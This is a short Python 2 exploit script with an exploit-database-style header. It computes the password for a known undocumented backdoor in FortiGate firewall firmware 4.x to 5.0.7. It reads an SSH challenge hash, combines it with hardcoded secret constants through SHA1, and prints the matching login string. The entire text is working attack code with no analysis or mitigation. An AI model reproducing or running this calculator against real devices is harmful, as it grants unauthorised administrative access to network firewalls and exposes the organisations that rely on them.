# Title        :  Fortigate Backdoor Password calculator
# Date        :   24 March 2016
# Author      :   Rishabh Dangwal, original exploit by operator8203@runbox.com.
# Author Homepage   :   www.theprohack.com
# Author Email     :   admin@theprohack.com
# Vendor Homepage  :   www.fortinet.com
# Version      :   FortiGate OS Version 4.x -  5.0.7
import base64
import hashlib
print "Enter hash challenge " ; chash = raw_input()
pwdhash = hashlib.sha1()
pwdhash.update('\x00' * 12)
pwdhash.update(chash + 'FGTAbc11*xy+Qqz27')
pwdhash.update('\xA3\x88\xBA\x2E\x42\x4C\xB0\x4A\x53\x79\x30\xC1\x31\x07\xCC\x3F\xA1\x32\x90\x29\xA9\x81\x5B\x70')
fhash = 'AK1' + base64.b64encode('\x00' * 12 + pwdhash.digest())
print "password is %s" %fhash